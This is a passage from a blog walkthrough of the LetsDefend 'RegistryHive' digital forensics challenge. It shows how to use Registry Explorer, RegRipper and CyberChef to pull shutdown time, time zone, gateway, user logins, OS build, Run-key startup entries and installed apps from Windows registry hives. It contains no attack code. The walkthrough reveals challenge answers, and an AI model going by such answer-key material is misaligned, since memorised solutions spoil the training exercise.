a scenario where the data interpreter is not available, or you&amp;rsquo;re just curious.&lt;/p&gt;&#xA;&lt;p&gt;For this approach, copy the &lt;code&gt;RegBinary&lt;/code&gt; data from the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Data&amp;quot;&#xA;column in Registry Explorer:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;157px&#34; data-flex-grow=&#34;65&#34; height=&#34;664&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/0afeb58c74220f375d58e146a78175ba_MD5.png&#34; width=&#34;436&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: The Data of the ShutdownTime&lt;/p&gt;&#xA;&lt;p&gt;C446BEDCD15DD901&lt;/p&gt;&#xA;&lt;p&gt;Then, use your web browser to navigate to &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Once you have CyberChef open, paste the data contents into the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;input window&amp;quot;&#xA;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;**Windows Filetime to UNIX Timestamp&amp;quot;&#xA;** operation to the recipe.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ensure &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Output units&amp;quot;&#xA;is set to &lt;strong&gt;Seconds (s).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Hex (little endian)&lt;/strong&gt; as the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Input format&amp;quot;&#xA;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;**From UNIX Timestamp&amp;quot;&#xA;** operation to the recipe.&lt;/p&gt;&#xA;&lt;p&gt;The resulting output will display the expected time format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;514px&#34; data-flex-grow=&#34;214&#34; height=&#34;373&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/cd39c0bc8b96839b9aa6942bae1e9c64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Converting the ShutdownTime data&lt;/p&gt;&#xA;&lt;p&gt;One final trick for answering &lt;strong&gt;Question 2:&lt;/strong&gt; pay no attention to the requested answer format. Instead, copy &amp;amp; paste the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows FILETIME&lt;/strong&gt;&lt;/a&gt; value exactly as we identified it: &lt;code&gt;2023-03-23 21:53:11&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1342px&#34; data-flex-grow=&#34;559&#34; height=&#34;143&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/a8b1114a01fe352ddb1e0d6e8dfec8e0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-time-zone-name-that-the-machineuses&#34;&gt;Question 3: What is the time zone name that the machine uses?&#xA;&lt;/h3&gt;&lt;p&gt;The next task is to identify the time zone used by the machine. Fortunately, we can continue to leverage Registry Explorer&amp;rsquo;s bookmarks and select the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**TimeZoneInformation&amp;quot;&#xA;** option to quickly locate this information.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/b485f7e4466a6f4a4e34fe80a5f53a0d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the TimeZoneInformation bookmark&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/fae4ca12ef8b621201f26218636d7d35_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the machine Time Zone&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1548px&#34; data-flex-grow=&#34;645&#34; height=&#34;124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/d0c58cade13a639a6e27531f5d3f2755_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-ip-address-of-the-defaultgateway&#34;&gt;Question 4: What is the IP address of the default gateway?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 4&lt;/strong&gt;, we&amp;rsquo;ll need to identify the default gateway IP address of the target system. To locate this information, we&amp;rsquo;ll leverage the &lt;strong&gt;Find&lt;/strong&gt; tool of Registry Explorer, which we can access by pressing &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Tools&amp;quot;&#xA; and selecting &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Find.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll keep the default options and simply enter the string &amp;quot; # &amp;ldquo;DefaultGateway&amp;quot;into the search box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/be6d0757c530110152a5ee00a0df92fc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we press &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Search,&amp;rdquo;&#xA;we&amp;rsquo;ll see the results in the bottom pane. The first result gives us the &lt;code&gt;DHCPDefaultGateway&lt;/code&gt; value for a specific adapter, leading us to the correct answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/d69c4f5a193d43977e70146ec16f51b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-5-6&#34;&gt;Questions 5 &amp;amp; 6:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-last-login-date-for-the-user--&#34;&gt;What is the last login date for the user &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;Work&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;h4 id=&#34;how-many-logins-did-the---&#34;&gt;How many logins did the &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;Work&amp;quot;&#xA;user have?&lt;/p&gt;&#xA;&lt;p&gt;Continuing with our investigation, we now need to determine some activities performed by the user &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Work.&amp;quot;&#xA;To find this information, we need to pivot from the SYSTEM hive and load the &lt;strong&gt;Security Account Manager (SAM) Hive&lt;/strong&gt;, which contains user information like username, group membership, and login information.&lt;/p&gt;&#xA;&lt;p&gt;Once we load the SAM hive with Registry Explorer, we can use the available bookmark to discover information about the users on the subject system. Unfortunately, the view is cramped with the limited screen space within the analysis environment, and this is a good excuse to try out another tool — &lt;strong&gt;RegRipper3.0.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/f15c7c7956945005b8ad840fd9433b5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Viewing the Users Key from the SAM Hive&lt;/p&gt;&#xA;&lt;p&gt;Launch RegRipper3.0 (&lt;code&gt;rr.exe&lt;/code&gt;) from the &lt;code&gt;Tools&lt;/code&gt; folder to access the GUI. Once it opens, select the SAM hive file, specify a path to export the report to, and let it &lt;em&gt;Rip!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;281px&#34; data-flex-grow=&#34;117&#34; height=&#34;681&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/413f0fecb8981af3da29bf0181b78e64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;RegRipper Setup&lt;/p&gt;&#xA;&lt;p&gt;This will produce two output files after the run, which is best explained by &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/regripper-ripping-registries-with-ease/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SANS&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/regripper-ripping-registries-with-ease/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;RegRipper creates two files when it runs. The first is the report file that contains the output of the plugins that were ran against the registry file. The second file is a log file that contains the dates, times, plugins ran, and the number of errors that occurred with the plugins. The log file filename is based off of the report file name minus the extension.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll want to focus on the first file and search for the username &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Work.&amp;quot;&#xA;Once we&amp;rsquo;ve located the account in the output, we&amp;rsquo;ll find the answers needed to answer &lt;strong&gt;Question 5 &amp;amp; 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;582&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/e6a70c16afbad02a40e9f7149f75625f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;RegRipper: Output for the SAM hive&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1333px&#34; data-flex-grow=&#34;555&#34; height=&#34;144&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/b03e07effa3f911d4f9a112a9ba5680b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/f6e73ac55ef22a92eb7e59fcee78c19d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8&#34;&gt;Questions 7 &amp;amp; 8:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-os---&#34;&gt;What is the OS &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;ProductName&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-is-the-os----1&#34;&gt;What is the OS &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;BuildNumber&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re moving right along now! To answer &lt;strong&gt;Questions 7&lt;/strong&gt; &amp;amp; &lt;strong&gt;8&lt;/strong&gt;, we&amp;rsquo;ll need to discover the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;ProductName&amp;quot;&#xA;and &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;BuildNumber&amp;quot;&#xA;of the operating system where the dump was captured. Since this isn&amp;rsquo;t user account-related, we&amp;rsquo;ll need to search for another artifact — the &lt;strong&gt;SOFTWARE hive&lt;/strong&gt;. The SOFTWARE hive contains the information, settings, and preferences for software installed on the system, including the operating system.&lt;/p&gt;&#xA;&lt;p&gt;To answer these questions, let&amp;rsquo;s jump back into Registry Explorer, load the SOFTWARE hive, and use the available common bookmarks, selecting &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CurrentVersion (Windows version information (Windows NT key))&amp;quot;&#xA;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/5ea2924c1fc3b8599c8d84497f4b7f6a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the CurrentVersion bookmark&lt;/p&gt;&#xA;&lt;p&gt;This will take us directly to the &lt;code&gt;SOFTWARE\Microsoft\Windows NT\CurrentVersion&lt;/code&gt; key, which contains information about the Windows version, including the &lt;code&gt;ProductName&lt;/code&gt; and &lt;code&gt;CurrentBuildNumber&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/8fce9936b895f2a740d85618acedd14a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the ProductName &amp;amp; CurrentBuildNumber&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1536px&#34; data-flex-grow=&#34;640&#34; height=&#34;125&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/1856f7393f6c7a14b8ee5cde0b6185b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1536px&#34; data-flex-grow=&#34;640&#34; height=&#34;125&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/c83ba32f41f8f29bfaec15cb36b78744_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-how-many-programs-run-on-startup-for-anyuser&#34;&gt;Question 9: How many programs run on startup for any user?&#xA;&lt;/h3&gt;&lt;p&gt;To find the answer to &lt;strong&gt;Question 9&lt;/strong&gt;, we&amp;rsquo;ll need to determine how many programs run on startup for any user. But first, let&amp;rsquo;s take a step back and understand why autorun applications have the potential to be abused by an attacker.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;, a global knowledge base of adversary tactics, techniques, and procedures, a &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;registry run key&lt;/a&gt; can be abused for persistence and privilege escalation because &amp;quot; # &amp;ldquo;adding an entry to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;run keys&amp;rdquo;&#xA;in the Registry or startup folder will cause the program referenced to be executed when a user logs in.&amp;quot;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  title=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder&lt;/strong&gt;&#xA;_Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, it&amp;rsquo;s important that we check this key to determine if this feature was abused by an attacker or used for benign, normal tasks. We can again leverage the Registry Explorer bookmarks, selecting &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**Run (Run key)&amp;quot;&#xA;** to take us to the key for the startup programs for all users.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/46b36e40fdc86823e760e0cbd272fe49_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the Run key bookmark&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/8a43e0fc37aacab9641495852d37a891_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the startup programs&lt;/p&gt;&#xA;&lt;p&gt;After selecting the bookmark, we can determine that there are two applications set to run on startup for any user. Both programs appear normal and not malicious.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/026eea32d74422ecf3ac6004b797f428_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-what-is-the-last-installed-app&#34;&gt;Question 10: What is the last installed app?&#xA;&lt;/h3&gt;&lt;p&gt;To identify the last app installed, we&amp;rsquo;ll continue with our analysis of the loaded SOFTWARE hive. To locate the correct registry key, we can search within the available bookmarks for the keyword &amp;quot; # &amp;ldquo;uninstall.&amp;ldquo;Why would we search for &amp;ldquo;uninstall&amp;quot;when we are looking for &lt;em&gt;installed&lt;/em&gt; apps? This is because information about software installed on the system is contained in the &lt;code&gt;Software\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt; key, where we&amp;rsquo;ll be able to find information about the install dates for the applications. Let&amp;rsquo;s try it out:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Available bookmarks&amp;rdquo;&#xA;tab.&#xA;2. Enter the string &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;uninstall&amp;rdquo;&#xA; into the search box and press &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Find&amp;rdquo;&#xA;.&#xA;3. Click the key named &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Uninstall&amp;quot;&#xA;.&#xA;4. In the right pane, sort the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Timestamp&amp;quot;&#xA;column to display the most recent results at the top.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/84331060f1fb0a33dd1222a0a9e52eed_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the last installed program by timestamp&lt;/p&gt;&#xA;&lt;p&gt;After analyzing the results of the &lt;code&gt;Uninstall&lt;/code&gt; key, we&amp;rsquo;ll see that the application &lt;code&gt;XAMPP&lt;/code&gt; was the last one installed onto the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/9e54ce494c091284ac7d7855f2671bac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-what-is-the---&#34;&gt;Question 11: What is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;DefaultGatewayMac&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;p&gt;To determine the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;DefaultGatewayMac,&amp;quot;&#xA;we&amp;rsquo;ll take a similar approach to what we used back in &lt;strong&gt;Question 4&lt;/strong&gt;. Continuing with the SOFTWARE hive, we&amp;rsquo;ll once again leverage Registry Explorer&amp;rsquo;s find tool and enter the string &amp;quot; # &amp;ldquo;DefaultGatewayMac&amp;quot;into the search box to locate the MAC address data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;327px&#34; data-flex-grow=&#34;136&#34; height=&#34;586&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/fd51f64175c5f04c97345d91c580523a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running the search, we&amp;rsquo;ll see the results in the bottom pane. The value data provides us with the &lt;code&gt;DefaultGatewayMac&lt;/code&gt; entry for the network adapter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1586px&#34; data-flex-grow=&#34;661&#34; height=&#34;121&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/55311ae4c6668f60916ffb78ac3f60ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-what-is-the-machinesid&#34;&gt;Question 12: What is the Machine SID?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question! Our last task is to determine the Machine Security Identifier (SID) of the device. Let&amp;rsquo;s do some research and get some context for what we&amp;rsquo;re looking for. According to an article from &lt;a class=&#34;link&#34; href=&#34;https://forensafe.com/blogs/machine_sid.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Forensafe&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A security identifier (SID) is a unique alphanumeric number that identifies a security principal or a security group. Security principals can be a user account, a computer account, a thread, or a process. SID is generated by the system to identify a particular entity at the time it is created.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://forensafe.com/blogs/machine_sid.html&#34;  title=&#34;https://forensafe.com/blogs/machine_sid.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Investigating Machine SID&lt;/strong&gt;&#xA;_18/07/2022 Monday A security identifier (SID) is a unique alphanumeric number that identifies a security principal or a&amp;hellip;_forensafe.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://forensafe.com/blogs/machine_sid.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In addition to the fantastic explanation, the article also discloses the location of this file in the registry:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Machine SID is stored in a security database. The default location is Windows\System32\Config\SECURITY\SAM\Domains\Account registry key.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;To save you some time, the unfortunate part is that this is a dead-end lead for the artifacts that we have available to us. So, let&amp;rsquo;s pivot and refer to the question hint for some guidance:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1153px&#34; data-flex-grow=&#34;480&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/3ab3b0e41e86cc0487a10ec20ae62932_MD5.png&#34; width=&#34;543&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Remember from 